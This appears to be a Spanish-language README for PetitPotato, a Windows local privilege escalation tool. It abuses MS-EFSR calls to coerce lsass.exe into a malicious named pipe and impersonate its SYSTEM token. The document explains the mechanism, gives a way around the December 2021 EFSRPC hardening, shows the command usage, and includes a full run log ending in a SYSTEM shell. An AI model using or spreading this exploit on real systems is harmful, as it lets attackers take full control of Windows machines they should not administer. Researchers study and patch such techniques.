
Escalada local de privilegios mediante PetitPotam (Abuso de los privilegios de impersonación).
Escalada local de privilegios mediante PetitPotam (Abuso de privilegios de suplantación).
PetitPotam utiliza MS-EFSR (Encrypting File System Remote), un protocolo utilizado para realizar operaciones de mantenimiento y gestión sobre datos cifrados almacenados de forma remota y accedidos a través de una red. Existe una serie de API similares a EfsRpcOpenFileRaw en MS-EFSR. La sintaxis de la API EfsRpcOpenFileRaw se muestra a continuación.
long EfsRpcOpenFileRaw(
[in] handle_t binding_h,
[out] PEXIMPORT_CONTEXT_HANDLE* hContext,
[in, string] wchar_t* FileName,
[in] long Flags
);
Estas API pueden especificar una ruta UNC mediante el parámetro FileName para abrir objetos cifrados en el servidor para realizar copias de seguridad o restauraciones. Cuando se especifica una ruta con el formato \\IP\C$, el servicio lsass.exe accederá a \\IP\pipe\srvsvc con los privilegios de la cuenta NT AUTHORITY SYSTEM.
Si podemos llamar a la API EfsRpcOpenFileRaw para forzar al equipo local a conectarse a la canalización con nombre (named pipe) maliciosa que hayamos creado, podremos suplantar el proceso cliente de la canalización y, finalmente, obtener el privilegio SYSTEKM.
Pero el antiguo PetitPotam no funciona en las versiones más nuevas de Windows debido a las limitaciones de los parches relacionados. Sin embargo, establecer AuthnLevel en RPC_C_AUTHN_LEVEL_PKT_PRIVACY mediante RpcBindingSetAuthInfoW antes de llamar a EFS funciona en los sistemas más recientes.
En diciembre de 2021, Microsoft publicó un parche para una vulnerabilidad EFSRPC diferente: CVE-2021-43217. Como parte de la corrección de ese problema, Microsoft implementó algunas medidas de refuerzo en la comunicación EFSRPC. En particular, los clientes EFSRPC necesitarían usar RPC_C_AUTHN_LEVEL_PKT_PRIVACY cuando utilicen EFSRPC. Si el cliente no lo hace, se rechaza al cliente y se genera un evento de aplicación de Windows.
Actualmente, el proyecto puede elevar perfectamente a SYSTEM en todas las versiones de Windows (probado en Windows 21H2 10.0.20348.1547).
PetitPotato.exe [EfsID] [Command]
EfsID: número de API MS-EFSR a utilizarCommand: comando a ejecutarC:\Users\Administrator\Desktop>PetitPotato.exe 3 cmd
[+] Malicious named pipe running on \\.\pipe\petit\pipe\srvsvc.
[+] Invoking EfsRpcQueryUsersOnFile with target path: \\localhost/pipe/petit\C$\wh0nqs.txt.
[+] The connection is successful.
[+] ImpersonateNamedPipeClient OK.
[+] OpenThreadToken OK.
[+] DuplicateTokenEx OK.
[+] CreateProcessAsUser OK.
Microsoft Windows [Version 10.0.20348.1547]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>
